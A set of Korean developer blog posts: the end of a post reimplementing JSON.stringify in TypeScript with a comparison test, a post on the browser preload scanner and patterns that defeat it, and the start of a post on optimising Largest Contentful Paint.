JSON.stringify([/foo/]) // '[{}]'
JSON.stringify({foo: /foo/}) // '{"foo":{}}'

JSON.stringify([new Set()]) // '[{}]'
JSON.stringify({foo: new Set()}) // '{"foo":{}}'

JSON.stringify([new Map()]) // '[{}]'
JSON.stringify({foo: new Map()}) // '{"foo":{}}'
```

### BigInt와 순환참조는 throw error

여기에 추가로, `BigInt`가 내부에 오게 되면 `TypeError`를 리턴하게 된다.

```typescript
bigint = BigInt(9007199254740991)
JSON.stringify(bigint) //  Uncaught TypeError: Do not know how to serialize a BigInt
```

그리고 우리가 잘 알고 있는 것 처럼, 순환참조를 하는 객체의 경우에도 에러가 난다.

```typescript
const foo = {}
foo.a = foo

JSON.stringify(foo) // Uncaught TypeError: Converting circular structure to JSON
```

한가지 유념에 두어야 할 것은, `BigInt`와 `Cyclic Object` 이 딱 두가지 경우에만 error를 던진다. `JSON.stringify`는 우리가 아는 함수 중에서 가장 관대한 편에 속한다.

### NaN과 Infinity는 null

숫자 중에서도 `NaN`과 `Infinity`는 `null`로 리턴된다.

```typescript
JSON.stringify(NaN) // null
JSON.stringify(Infinity)
```

### 날짜는 ISO String

`Date`의 경우에는 ISO string으로 변환된다. 그 이유는 [Date.prototype.toJSON](https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Date/toJSON)의 동작 때문이다.

```typescript
JSON.stringify(new Date()) // '"2022-06-18T03:43:12.133Z"'
```

### 열거불가능, Symbol 키는 무시

`JSON.stringify`는 오직 열거 가능한, 비 심볼키 속성에 대해서만 처리한다. 즉, 심볼키로 되어 있거나, 열거 불가능한 속성은 무시하게 된다.

```typescript
const foo = {}
foo[Symbol('p1')] = 'bar'
Object.defineProperty(foo, 'p2', {value: 'baz', enumerable: false})

JSON.stringify(foo) // '{}'
```

> 이 코드 조각을 보고 나니 왜 `JSON.parse`와 `JSON.stringify`로 객체를 깊은 복사하는 것이 불가능한지 이해할 수 있게 되었다.

### 요약

| UnSupported type | pass directly | array     | object    |
| ---------------- | ------------- | --------- | --------- |
| undefined        | undefined     | 'null'    | omitted   |
| symbol           | undefined     | 'null'    | omitted   |
| function         | undefined     | 'null'    | omitted   |
| NaN              | 'null'        | 'null'    | 'null'    |
| Infinity         | 'null'        | 'null'    | 'null'    |
| Regex            | '\{\}'        | '\{\}'    | '\{\}'    |
| Map              | \{\}          | '\{\}'    | '\{\}'    |
| Set              | '\{\}'        | '\{\}'    | '\{\}'    |
| WeakMap          | '\{\}'        | '\{\}'    | '\{\}'    |
| WeakSet          | '\{\}'        | '\{\}'    | '\{\}'    |
| BigInt           | TypeError     | TypeError | TypeError |
| Cyclic objects   | TypeError     | TypeError | TypeError |

## 구현해보기

가장 먼저 해야할 것은 순환 참조인지 확인하는 함수를 만든 것이다.

```typescript
function isCyclic(input: unknown): boolean {
  const seen = new Set()

  function dfs(obj: unknown) {
    if (typeof obj !== 'object' || obj === null) {
      return false
    }
    seen.add(obj)

    return Object.entries(obj).some(([key, value]) => {
      const result = seen.has(value) ? true : isCyclic(value)
      seen.delete(result)
      return result
    })
  }

  return dfs(input)
}
```

이제 본격적으로 `stringify`를 구현해보자.

```typescript
function isCyclic(input: unknown): boolean {
  const seen = new Set()

  function dfs(obj: unknown) {
    if (typeof obj !== 'object' || obj === null) {
      return false
    }
    seen.add(obj)

    return Object.entries(obj).some(([key, value]) => {
      const result = seen.has(value) ? true : isCyclic(value)
      seen.delete(result)
      return result
    })
  }

  return dfs(input)
}

function JSONStringify(data: unknown): string {
  if (isCyclic(data)) {
    throw new TypeError('순환참조 객체는 stringify 할 수 없습니다.')
  }

  if (typeof data === 'bigint') {
    throw new TypeError('Bigint는 stringify로 변환할 수 없습니다.')
  }

  if (data === null) {
    return String(null)
  }

  if (typeof data !== 'object') {
    if (Number.isNaN(data) || data === Infinity) {
      return String(null)
    } else if (['function', 'undefined', 'symbol'].includes(typeof data)) {
      return undefined
    } else if (typeof data === 'string') {
      return `"${data}"`
    } else {
      return String(data)
    }
  } else {
    if (data instanceof Date) {
      return JSONStringify(data.toJSON())
    } else if (data instanceof Array) {
      const result = data.map((item) => {
        if (
          typeof item === 'undefined' ||
          typeof item === 'function' ||
          typeof item === 'symbol'
        ) {
          return String(null)
        } else {
          return JSONStringify(item)
        }
      })

      return `[${result}]`.replace(/'/g, '"')
    } else {
      const result = Object.entries(data).reduce((result, [key, value]) => {
        if (
          value !== undefined &&
          typeof value !== 'function' &&
          typeof value !== 'symbol'
        ) {
          result.push(`"${key}":${JSONStringify(value)}`)
        }
        return result
      }, [] as string[])

      return `{${result}}`.replace(/'/g, '"')
    }
  }
}
```

테스트 해보기

```typescript
const test = [
  1,
  null,
  'foo',
  {'foo': 'bar'},
  ['foo', 'bar'],
  undefined,
  new Map(),
  new Set(),
  [undefined],
  {foo: undefined},
  [Symbol()],
  {foo: Symbol()},
  [() => {}],
  {foo: () => {}},
  [/foo/],
  {foo: /foo/},
  [new Set()],
  {foo: new Set()},
  [new Map()],
  {foo: new Map()},
]

for (const tc of test) {
  const result1 = JSON.stringify(tc)
  const result2 = JSONStringify(tc)


  if (result1===result2) {
    console.log(tc, 'TRUE')
  } else if (result1 === undefined && result2 === undefined) {
    console.log(tc, 'TRUE')
  } else {
    console.log(tc, 'FALSE')
  }
}

/**
 1 TRUE
null TRUE
foo TRUE
{ foo: 'bar' } TRUE
[ 'foo', 'bar' ] TRUE
undefined TRUE
Map {} TRUE
Set {} TRUE
[ undefined ] TRUE
{ foo: undefined } TRUE
[ Symbol() ] TRUE
{ foo: Symbol() } TRUE
[ [Function] ] TRUE
{ foo: [Function: foo] } TRUE
[ /foo/ ] TRUE
{ foo: /foo/ } TRUE
[ Set {} ] TRUE
{ foo: Set {} } TRUE
[ Map {} ] TRUE
{ foo: Map {} } TRUE
 * /
```

## 참고

- [`JSON.stringify`의 공식 문서](https://262.ecma-international.org/5.1/#sec-15.12.3)에서
- [fast-json-stringify](https://github.com/fastify/fast-json-stringify)
- [How to improve the performance of JSON. stringify ()?](https://developpaper.com/how-to-improve-the-performance-of-json-stringify/)

---

Source: https://yceffort.kr/2022/06/preload-scanner.md
Title: 브라우저의 프리로드 스캐너(pre-load scanner)와 파싱 동작의 이해
Description: 브라우저 최적화랑 싸우지마
Date: 2022-06-12
Tags: web-performance, browser

## Table of Contents

## Introduction

웹 개발자가 웹 페이지 속도를 개선하기 위해서 가장 먼저 알아야할 것은, 웹 페이지 로딩 속도 개선을 위한 테크닉이나 팁이 아닌 바로 브라우저의 동작 원리다. 우리가 최적화 하려고 노력하는 것 만큼, 브라우저도 웹페이지를 로딩할 때 최적화 하려고 더 노력한다. 하지만 우리의 이런 최적화 노력이 의도치 않게 브라우저의 최적화 노력을 방해할 수도 있다.

페이지 속도 개선에 있어 가장 먼저 이해해야할 것 중 하나는 바로 브라우저의 프리로드 스캐너다. 프리로드 스캐너는 무엇인지, 그리고 우리가 이 작업을 방해하지 않기 위해서는 무엇을 해야 하는지 알아보자.

## Pre-load Scanner란 무엇인가

모든 브라우저는 raw markup 상태의 파일을 [토큰화](https://en.wikipedia.org/wiki/Lexical_analysis#Tokenization) 하고, [객체 모델](https://developer.mozilla.org/ko/docs/Web/API/Document_Object_Model)로 처리하는 HTML 파서를 기본적으로 가지고 있다. 이 모든 작업은 이 파서가 `<link />` 또는 `async` `defer`가 없는 `<script />`와 같은 [블로킹 리소스](https://web.dev/render-blocking-resources/)를 만나기 전 까지 계속 된다.

![html-parser](https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/mXRoJneD6CbMAqaTqNZW.svg)

CSS 파일의 경우, [스타일링이 적용되지 않는 콘텐츠가 잠깐 뜨는 현상(Flash of unstyled content, AKA FOUC)](https://en.wikipedia.org/wiki/Flash_of_unstyled_content)을 방지하기 위해 파싱과 렌더링이 차단된다.

그리고 자바스크립트의 경우에는, 앞서 언급했듯 `async` `defer`가 없는 `<script/>`를 만나게 되면 파싱과 렌더링 작업이 중단된다.

> `<script />`에 `type=module`이 있다면 기본적으로 `defer`로 동작한다.

그 이유는 HTML 파서가 동작하는 동안, 이 스크립트가 DOM을 수정할 것인지 브라우저 입장에서는 알 수 없기 때문이다. 따라서 일반적으로는 이러한 자바스크립트를 문서의 끝에 두어 렌더링 및 파싱에 미치는 영향을 제한하는 것이 일반적이다.

어쩄든, 이러한 중요한 파싱 단계를 차단하는 것은 바람직하지 않다. 왜냐하면 다른 중요한 리소스를 찾는 과정을 지연시킴으로써 퍼포먼스를 저하시킬 수 있기 때문이다. 이러한 문제를 완화 시키기 위한 것이 바로 프리로드 스캐너라고 하는 보조 HTML 파서다.

![pre-load scanner](https://web-dev.imgix.net/image/jL3OLOhcWUQDnR4XjewLBx4e3PC3/6lccoVh4f6IJXA8UBKxH.svg)

> 기본 HTML 파서는 CSS를 로딩하고 처리할 때 블로킹 되지만, 프리로드 스캐너는 마크업에서 이미지 리소스를 찾고 기본 HTML 파서가 차단 해제되기전에 로드를 시작할 수 있다.

이 프리로드 스캐너의 역할은 speculative, 즉 추측에 근거하며, 이 말의 뜻은 기본 HTML 파서가 리소스를 발견하기 전에 먼저 리소스를 찾기위해 마크업 문서를 훑는 다는 것을 의미한다.

## 프리로드 스캐너가 언제 동작하는지 확인하는 방법

앞서 이야기 하였듯이, 렌더링과 블로킹을 차단하는 리소스가 있기 때문에 프리로드 스캐너가 존재한다. 이러한 두 가지 성능 문제가 존재하지 않는다면 딱히 프리로드 스캐너가 필요하지 않을 것이다. 따라서 웹 페이지가 프리로드 스캐너의 이점을 얻을 수 있는지 여부를 파악하는 열쇠는 이러한 블로킹 현상의 존재 여부에 따라 다르기 때문에, 프리로드 스캐너가 동작하는지 알기 위해서는 인위적인 딜레이를 집어넣을 필요가 있다.

[프리로드 스캐너의 동작 방식을 확인해보기 위한 예제 페이지](https://preload-scanner-fights.glitch.me/artifically-delayed-requests.html)

> 결과: https://www.webpagetest.org/result/220612_BiDcZ0_2E9/

먼저 CSS 파일은 렌더링과 파싱을 모두 차단하기 때문에, 스타일 시트를 집어 넣음으로서 아래와 같은 인위적인 딜레이를 집어넣을 수 있다. 이러한 딜레이 덕분에, 프리로드 스캐너가 작동하는 것을 볼 수 있다.

![waterfall-chart](https://www.webpagetest.org/waterfall.php?test=220612_BiDcZ0_2E9&run=1&cached=&step=1)

> css가 블로킹 리소스라서 잠시간 딜레이가 있었지만, 이미지는 프리로드 스캐너가 먼저 발견해서 찾은 모습이다.

이 차트에서 볼 수 있는 것 처럼, 프리로드 스캐너는 렌더링 및 파싱이 차단되는 와중에서 `<img />`를 검색한다. 이 최적화 없이는 차단 되는 동안 리소스를 가져올 수 없으므로, 리소스를 가져오는 과정은 동시적이 아닌 연속적으로 이루어질 것이다.

## async script 삽입

`<head/>`에 아래와 같은 자바스크립트를 삽입해보자.

```html
<script>
  const scriptEl = document.createElement('script')
  scriptEl.src = '/yall.min.js'

  document.head.appendChild(scriptEl)
</script>
```

삽입되는 스크립트는 `async`가 기본값이기 때문에 비동기적으로 동작하는 것 처럼 보일 것이다. 즉 가능한 빨리 실행되고, 렌더링을 차단하지 않는다. 물론, 이는 최적화가 적용되어 있는 것 처럼 보이지만.. 이 인라인 스크립트가 외부 CSS 파일을 로드하는 `<link/>`뒤에 온다고 가정하면 다음과 같은 결과가 나타난다.

[테스트 페이지](https://preload-scanner-fights.glitch.me/injected-async-script.html)

[결과](https://www.webpagetest.org/result/220612_BiDcPM_2FE/)

![waterfall-chart](https://www.webpagetest.org/waterfall.php?test=220612_AiDcHH_2FY&run=1&cached=&step=1)

무슨일이 일어났는지 하나씩 살펴보자.

1. 0초에 문서를 요청했다.
2. 1.3초 쯤에 요청에 대한 첫번째 바이트 응답이 왔다.
3. 2.4초 쯤에 이미지와 CSS 요청이 이루어졌다.
4. 파서가 스타일 시트를 로딩하느라 차단되고, 비동기 스크립트를 주입하는 인라인 자바스크립트가 2.8초 쯤에 나타나기 때문에 스크립트가 제공하는 `async` 기능을 바로 사용할 수 없게 됨

스타일 시트 다운로드가 완료된 이후에만 스크립트에 대한 요청이 발생한다. 따라서 스크립트가 최대한 빨리 실행되지 않는다. 이는 페이지의 TTI(Time To Interactive)에 영향을 미칠 수 있다. 이와 반대로, `<img/>`는 서버에서 제공하는 마크업에서 감소하기 때문에 프리로드 스캐너에 의해 검색될 것이다.

그렇다면 스크립트를 DOM에 주입하는 대신, `async` 값과 함께 일반 `<script/>`를 사용하면 어떻게 될까?

```html
<script src="/yall.min.js" async></script>
```

[웹페이지](https://preload-scanner-fights.glitch.me/inline-async-script.html)

[결과](https://www.webpagetest.org/result/220612_AiDcSY_2HM/)

![waterfall-chart](https://www.webpagetest.org/waterfall.php?test=220612_AiDcSY_2HM&run=1&cached=&step=1)

> 이 페이지는 하나의 스타일 시트와 `async` `<script/>`한개가 포함되어 있다. 프리로드 스캐너는 렌더 블로킹 단계에서 스크립트를 발견하고, CSS와 동시에 로딩한다.

[`rel=preload`](https://developer.mozilla.org/en-US/docs/Web/HTML/Link_types/preload)를 사용하면 문제를 해결할 수도 있지 않을까? 이는 효과적일 수도 있지만, 약간의 부작용이 있을 수 있다. 그렇다면 왜 `<script/>`를 DOM에 주입하지 않음으로써 피할 수 있는 문제를 해결하기 위해 `rel=preload`를 사용하는 이유는 무엇일까?

[웹페이지](https://preload-scanner-fights.glitch.me/preloaded-injected-async-script.html)

[결과](https://www.webpagetest.org/result/220612_AiDcVX_2JA/)

![waterfall-chart](https://www.webpagetest.org/waterfall.php?test=220612_AiDcVX_2JA&run=1&cached=&step=1)

> 이 페이지는 하나의 스타일 시트와 `async` 스크립트를 삽입했는데, `async` 스크립트는 발견되는 즉시 프리로딩 된 것을 알 수 있다.

프리로딩은 여기서 문제를 해결한 것 처럼 보이지만, 처음 두 데모의 `async` 스크립트는 `<head />`에 삽입되었음에도 불구하고 낮은 우선순위로 로드 되는반면, 스타일 시트는 높은 우선순위로 로딩된다. 비도기 스크립트가 preloading된 마지막 데모페이지에서는, 스타일 시트와 스크립트의 우선순위가 모두 높음으로 승격되었다.

> 우선순위는 크롬의 dev tool 네트워크 탭에서 볼 수 있다.

리소스의 우선순위가 올라가면, 브라우저는 더 많은 대역폭을 리소스에 할당한다. 즉, 스타일 시트 우선순위가 가장 높더라도 스크립트의 우선순위가 높아지면 이러한 대역폭에 경합이 발생할 수 있다. 연결 속도가 느리거나, 리소스가 상당히 크다면 이러한 문제가 더 두드러질 수 있다.

답은 간단하다. 스크립트가 웹 페이지 시작중에 실행되어야 한다면 DOM에 삽입하여 프리로드 스캐너를 방해하지 말자. `<script/>` 요소의 위치 뿐만 아니라, `defer` `async` 속성에 대한 실험도 해보면서 확인해봐야 한다.

## 자바스크립트 Lazy Loading

레이지 로딩은 데이터를 불러오기 위한 효과적인 방법으로 일반적으로 이미지에 적용된다. [그러나 때때로 이 레이지 로딩이 above the fold 영역에 있는 이미지에 잘못 적용될 수 있다.](/2022/06/optimize-LCP#lcp-%EB%A5%BC-lazy-load-%ED%95%98%EC%A7%80-%EB%A7%90-%EA%B2%83)

이로인해 프리로드 스캐너가 관련된 리소스를 검색하는 문제에 잠재적으로 문제를 일으킬 수 있으며, 이미지라면 이미지에 대한 참조를 검색하고 다운로드 하고 디코딩하며 표시하는데 걸리는 시간을 불필요하게 지연시킬 수 있다.

```html
<img data-src="/sand-wasp.jpg" alt="Sand Wasp" width="384" height="255" />
```

이 `data-` 자바스크립트에서 주로 활용되는 레이지 로더다. 이미지가 뷰포트로 스캐너 된다면 `lazy-loader` 는 `data-` 를 제거하여 정상적인 `src`로 바꾼다. 그러면 브라우저는 이 리소스를 불러올 것이다.

이 패턴은 페이지 최초 로딩에 걸리지 않는 이미지라면 크게 문제되지 않는다. 그러나 문제는 프리로더 스캐너가 `data-src`와 같은 것은 읽지 않기 때문에 이미지를 일찍 검색하지 못한다. 더 나쁜 것은 이 이미지는 `lazy-loader`가 자바스크립트로 다운로드, 컴파일, 실행 될 때 까지 지연된다.

[웹페이지](https://preload-scanner-fights.glitch.me/js-lazy-load-suboptimal.html)

[결과](https://www.webpagetest.org/result/220612_BiDcPB_2JM/)

![waterfall-chart](https://www.webpagetest.org/waterfall.php?test=220612_BiDcPB_2JM&run=1&cached=&step=1)

이미지의 크기, 뷰포트의 크기에 따라 이 이미지는 LCP에 걸릴수도 있다. 프리로드 스캐너가 미리 이미지 리소스를 가져올 수 없는 경우에는 LCP에 피해를 입을 것이다.

이미지 마크업을 다음과 같이 바꿔보자.

```html
<img src="/sand-wasp.jpg" alt="Sand Wasp" width="384" height="255" />
```

이렇게 최적화 한다면 프리로드 스캐너가 이미지 리소스를 빠르게 검색하고 가져올 수 있기 때문에, LCP에 걸리는 이미지라면 매우 좋은 방법이 될 것이다.

[웹페이지](https://preload-scanner-fights.glitch.me/js-lazy-load-optimal.html)

[결과](https://www.webpagetest.org/result/220612_AiDcMW_2PY/)

![waterfall-chart](https://www.webpagetest.org/waterfall.php?test=220612_AiDcMW_2PY&run=1&cached=&step=1)

이 결과 LCP가 향상되었음을 알 수 있다. 물론 그다지 드라마틱한 효과가 아닌것처럼 보일 수 있지만, 수정해야하는 양이 작고 매우 쉽다. LCP 내 리소스는 다른 많은 자원들과 함께 대역폭을 놓고 경쟁해야하는 경우가 빈번해 지므로 이와 같은 최적화가 중요해지고 있다.

> 이미지 뿐만 아니라 `<iframe>` 도 이와같은 영향을 받을 수 있으며, `<iframe/>`는 하위 리소스가더 많기 때문에 성능에 더 심한 영향을 미칠 수 있다.

## CSS background image

브라우저 프리로드 스캐너는 마크업을 스캔한다. 그러나 프리로드 스캐너는 CSS에 있는 `background-image` 속성에 있는 리소스와 같은 타입의 리소스는 검색하지 않는다.

HTML과 마찬가지로 브라우저는 CSSOM으로 알려진 자체 객체 모델로 CSSOM을 처리한다. 만약 CSSOM에 외부 리소스가 발견된다면, 그런 자원들은 프리로드 스캐너가 아닌 발견된 시점에 리퀘스트가 일어난다.

[웹페이지](https://preload-scanner-fights.glitch.me/css-background-image-no-preload.html)

[결과](https://www.webpagetest.org/result/220612_AiDcCK_2TG/)

![waterfall-chart](https://www.webpagetest.org/waterfall.php?test=220612_AiDcCK_2TG&run=1&cached=&step=1)

이 경우에는 프리로드 스캐너가 관여하지 않는다. 그렇지만서도, 만약 LCP에 CSS background-image가 존재한다면, 아무래도 미리 로드되기를 바랄 것이다.

```html
<!-- <head> 태그 안, 스타일시트 밑에 이 태그를 삽입한다면 로딩에 방해되지 않고 프리로드 스캐너에 의해 미리 발견될 것이다. -->
<link rel="preload" as="image" href="lcp-image.jpg" />
```

이 `rel=preload` 힌트는 작지만, 브라우저가 이미지를 더 빠르게 발견하는데 도움이 된다.

[웹페이지](https://preload-scanner-fights.glitch.me/css-background-image-with-preload.html)

[결과](https://www.webpagetest.org/result/220612_BiDcV2_2T8/)

![waterfall-chart](https://www.webpagetest.org/waterfall.php?test=220612_BiDcV2_2T8&run=1&cached=&step=1)

`rel=preload`를 사용하면 LCP를 빠르게 발견하여 LCP 시간이 단축된다. 이 힌트가 이 문제를 해결하는데 도움이 되었지만, 더 나은 방법도 있다. `<image>`를 사용하면 뷰포트에 적합한 이미지를 로드하는 동시에 프리로드 스캐너가 해당 이미지를 검색할 수 있다.

## 마크업을 클라이언트 사이드 자바스크립트에서 렌더링

당연히 의심할 여지도 없다. [자바스크립트는 페이지 속도에 영향을 미친다.](https://almanac.httparchive.org/en/2021/performance#total-blocking-time-tbt) 자바스크립트를 단순히 사용자와 페이지 간의 상호작용 뿐만 아니라 콘텐츠 자체를 전달하기 위해서도 의존하는 경향이 있다. 이는 개발자에게는 좀더 나은 개발자 경험 (DX)을 줄 수도 있지만, 이 경험이 사용자에게 이어지는 것은 아니다.

이야기한 것 처럼, 프리로드 스캐너에게 안좋은 영향을 미치는 방법은 바로 클라이언트사이드 자바스크립트로 마크업을 렌더링하는 것이다.

[웹페이지](https://preload-scanner-fights.glitch.me/client-rendered.html)

[결과](https://www.webpagetest.org/result/220612_AiDcK5_2WK/)

![waterfall-chart](https://www.webpagetest.org/waterfall.php?test=220612_AiDcK5_2WK&run=1&cached=&step=1)

> 이 페이지는 `preact`를 활용하여 제작되었다. 그렇지만 방법은 단순하다. `html`내부 내용 전체를 단순히 문자열로 넘겨서 렌더링하는 것이다. https://preload-scanner-fights.glitch.me/js/content.js

마크업이 완전히 자바스크립트 코드 내부에 존재해서 렌더링 될 때, 이 마크업 내부의 모든 리소스는 프리로드 스캐너에 감지되지 않는다. 이로인해 주요 리소스 발견은 늦춰지고, LCP에 부정적인 영향을 미친다. 이 예제의 경우 매우 눈에 띄게 서버사이드 렌더링 대비 상당히 지연된 모습을 볼 수 있다.

이 글의 주제에서 약간 벗어나긴 하지만, 렌더링 마크업이 클라이언트에 미치는 영향은 프리로드 스캐너를 능가한다. 최초 페이지 로딩에 필요하지 않은 작업을 위해 자바스크립트를 도입하면, [INP(Interaction Next Paint)](https://web.dev/inp/)에 영향을 줄 수 있는 불필요한 처리시간이 발생해버린다.

또한 클라이언트에서 많은 양의 마크업을 렌더링하면, 서버에서 전송되는 동일한 양의 마크업에 비해 [처리시간이 길어질 수 있다.](https://web.dev/long-tasks-devtools/) 그 이유는 자바스크립트가 필요로 하는 작업을 제외하고, 브라우저가 서버로부터 마크업을 스트리밍하고, 이 과정에서 작업이 길어지는 것을 피하기 위해 렌더링을 청크업 하기 때문이다. 그러나 이에 반해 클라이언트 렌더링 마크업은 INP외에도 TBT (Total Blocking Time), FID(First Input Delay)와 같은 페이지 응답 메트릭 점수에 영향을 미칠 수 있다.

만약 서버에서 페이지 마크업을 제공할 수 없는 이유가 있는가? 그렇지 않다면, 즉 서버에서 페이지 마크업을 만들 수 있으면 서버사이드 렌더링이나 정적으로 생성된 마크업을 고려해야 한다.

페이지 마크업의 일부에 특정한 기능을 추가하기 위해 자바스크립트가 필요한 경우에도, SSR 환경에서 자바스크립트 [hydration](https://www.patterns.dev/posts/progressive-hydration/)을 활용하는 방법도 고려할 수 있다.

## 프리로드 스캐너가 잘 작동할 수 있게 하는 방법

프리로드 스캐너는 페이지가 더 빨리 로딩되도록 도와주는 매우 효과적인 브라우저 최적화 수단이다. 중요한 리소스를 미리 발견하지 못하는 현상을 막아줌으로써, 개발을 단순화하고 웹 바이탈 등 여러 지표에서 더 나은 결과를 제공하여 더 좋은 사용자 환경을 만들 수 있다.

- 브라우저의 프리로드 스캐너는 메인 스캐너 대비 먼저 검색하여 더 빨리 가져올 수 있는 리소스를 발견하는 과정에서 차단되는 경우를 막기 위해 메인 스캐너보다 먼저 검색하는 보조 HTML 파서다.
- 프리로드 스캐너가 동작하지 않는 경우는
  - 초기 리퀘스트 요청시 서버에서 제공하는 마크업에 없는 리소스
  - 자바스크립트를 활용하여 DOM에 리소스를 삽입하는 경우
  - 자바스크립트를 활용하여 Above the fold 영역에 있는 lazy load 이미지 또는 iframe
  - 자바스크립트를 사용하여 문서내 리소스를 참조로 한 클라이언트 마크업 렌더링
- 프리로드 스캐너는 HTML 만 스캔한다. CSS 내부에 있는 이미지들은 검색되지 않는다.

어떤 이우로든, 프리로드 스캐너에 부정적인 영향을 미치는 패턴을 피할 수 없다면 `rel=preload` 리소스 힌트를 고려해보자. 이 리소스 힌트를 사용해보고 테스트하여 원하는 효과를 얻을 수 있는지 확인해보자. 그리고 마지막으로, 너무 많은 리소스를 미리 로딩하지 말자. 모든 것을 우선시하면 아무것도 우선시 되지 않는다.

---

Source: https://yceffort.kr/2022/06/optimize-LCP.md
Title: Largest Contentful Paint (LCP) 최적화하기
Description: 브라우저 동작 방식을 이해하기
Date: 2022-06-09
Tags: web-performance

## Table of Contents

LCP는 가장 최적화하기 쉬운 Core Web Vital 이다. 3가지 중 유일하게 개발자의 로컬 환경과 실제 환경에서의 수치가 거의 비슷하게 나오는 요소이기도 하다. 그럼에도, 가장 최적화 되지 않는 요소 이기도 하다.

> Once more, we saw an increase in the number of origins having good Core Web Vitals (CWV) driven by improved good CLS.

> - 52.7% of origins had good LCP
> - 94.9% of origins had good FID
> - 70.6% of origins had good CLS
> - 39.0% of origins had good LCP, FID, and CLS

> https://twitter.com/ChromeUXReport/status/1501325517634490376?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1501325517634490376%7Ctwgr%5E%7Ctwcon%5Es1_c10&ref_url=https%3A%2F%2Fcsswizardry.com%2F2022%2F03%2Foptimising-largest-contentful-paint%2F

어떻게 하면 LCP를 쉽게 최적화 할 수 있는 지 살펴보자.

## 정의

LCP를 최적화 하기전에, 먼저 그 정의를 살펴보자.

> 최대 콘텐츠풀 페인트(LCP) 메트릭은 페이지가 처음으로 로드를 시작한 시점을 기준으로 뷰포트 내에 있는 가장 큰 이미지 또는 텍스트 블록의 렌더링 시간을 보고합니다.

> 최대 콘텐츠풀 페인트(LCP)는 페이지의 메인 콘텐츠가 로드되었을 가능성이 있을 때 페이지 로드 타임라인에 해당 시점을 표시하므로 사용자가 감지하는 로드 속도를 측정할 수 있는 중요한 사용자 중심 메트릭입니다. LCP가 빠르면 사용자가 해당 페이지를 사용할 수 있다고 인지하는 데 도움이 됩니다.

> https://web.dev/lcp/

여기에서 알아둬야 할 점 중 하나는, 구글 (라이트 하우스)는 LCP가 빨리 도달하기만 하면, 그 방법이야 어찌되었던 크게 신경쓰지 않는 다는 것이다. 페이지 로딩 라이프사이클과 LCP 사이에서는 다음과 같은 많은 일 들이 일어난다.

- DNS, TCP, TLS
- 리다이렉트
- TTFB
- First Paint
- FCP

만약 이것들 중 어떤 것이라도 느리다면, LCP에는 안좋은 영향을 미친다. 이러한 것들을 가능한한 낮게 얻을 수 있다면 LCP에 도움이 될 것이다.

## LCP 최적화 기법

이미지 기반의 LCP가 있다면, 적절한 파일 포맷, 적절한 크기, 그리고 또 압축이 잘되어 있는지 확인해봐야 한다. 그리고 LCP 요소들은 3MB TIFF 를 넘어서는 안된다.

물론 가장 좋은 방법은 LCP를 텍스트 기반으로 만드는 것이다. 당연하게도 텍스트는 이미지보다 훨씬 크기가 작고, LCP 수치를 높이는데 많은 도움을 준다.

물론, 이미지를 빼는 선택을 하기에는 어려운 상황들이 많을 것이다. 당장에 이미지를 빼고 글자를 채우자고 한다면 그 누구도 좋아하지 않을 것이다. 그렇다면 이 것을 어떻게 최적화 하면 좋을지 살펴보자.

LCP 내의 이미지를 선언하는 방법들은 다음과 같은 것이 있다.

- `<img />`
- `<svg />` 내부의 `<img />`
- `<video />`의 poster
- HTMLElement에 css로 background image `url()` 를 사용하여 이미지를 깔아 놓은 경우
- 텍스트 노드 또는 인라인 레벨의 텍스트를 포함하는 [블록 레벨](https://developer.mozilla.org/ko/docs/Web/HTML/Block-level_elements) HTMLElement

### 테스트

```html
<img src="lcp.jpg" ... />
```

https://yceffort.kr/LCP/img.html

```html
<svg xmlns="http://www.w3.org/1000/svg">
  <image href="lcp.jpg" ... />
</svg>
```

https://yceffort.kr/LCP/svg.html

```html
<video poster="lcp.jpg" ...></video>
```

https://yceffort.kr/LCP/video.html

```html
<div style="background-image: url(lcp.jpg)">...</div>
```

https://yceffort.kr/LCP/background-image.html

각 페이지를 https://www.webpagetest.org/ 에서 테스트 해보자.

### 테스트 결과

![LCP_result](./images/LCP_result.png)

![LCP_progress](./images/LCP_progress.png)

https://www.webpagetest.org/video/compare.php?tests=220610_AiDc96_7AZ%2C220610_AiDc3F_7B4%2C220610_BiDc9B_7JJ%2C220610_AiDc1M_7B6&thumbSize=150&ival=500&end=visual

#### `<img />`

![LCP_img](./images/LCP_img.png)

이미지가 LCP에서 차지하는 비중이 높다면, 가장 먼저 선택해야할 방법이다. `<img />`는 특별하게 개발자가 망치지 않는 한, [프리로드 스캐너](https://andydavies.me/blog/2013/10/22/how-the-browser-pre-loader-makes-pages-load-faster/)에 의해 빠르게 요청되기 때문에, 병렬적으로 요청하여 미리 그려질 수 있다. (블로킹 리소스와 함께도 가능하다)

#### `<picture />`, `<source />`

`<picture />`가 `<img />`와 같은 방식으로 동작한 다는 점을 알고 있어야 한다. 따라서 `srcset` `size` 속성에 상세하게 작성해야 한다. 이를 정확히 제공하면, 앞서 언급한 프리로드 스캐너를 통해 이미지에 대한 충분한 정보를 브라우저에 제공하게 되면, 레이아웃을 기다릴 필요가 없어진다. (물론 기술적으로 연산에 필요한 오버헤드는 존재할 수 있다.)

https://developer.mozilla.org/en-US/docs/Web/HTML/Element/picture

#### `<svg/>`

![LCP_svg](./images/LCP_svg.png)

svg 내부의 이미지는 두가지 흥미로운 동작이 있다. 먼저 한가지는 크롬이 svg 내부의 이미지가 미처 불러와지지 않았음에도 LCP가 완료된 것 처럼 판단한다는 것이다. 상황에 따라 점수만 먹고 튀고 싶다면(?) 이 방법을 응용할 수도 있다.

![LCP_chrome_bug](./images/LCP_chrome_bug.png)

> 물론 이는 어디까지나 현재 블로그 글을 작성 중인 102 버전 이하의 동작으로, 이후에는 수정될 수도 있다.

어쨌든 이는 LCP 상의 버그 일뿐, 실제로 브라우저가 리소스를 처리하는 방법에는 영향을 주지는 않는다. 위 스크린샷에서도 볼 수 있는 것처럼, 워터폴 방식으로 느리게 불러오는 것을 볼 수 있다.

svg 내부에 있는 img는 프리로드 스캐너에서 숨겨진 것 처럼 보인다. 즉, 내부의 `href`는 브라우저의 기본 파서가 이를 발견할 때까지 구분 분석되지 않는다. 이를 미루어 보아 프리로드 스캐너는 SVG가 아닌 HTML 를 스캔하기 위해 만들어졌다는 것을 알 수 있다.

#### `<video />`의 `poster`

![LCP_video](./images/LCP_video.png)

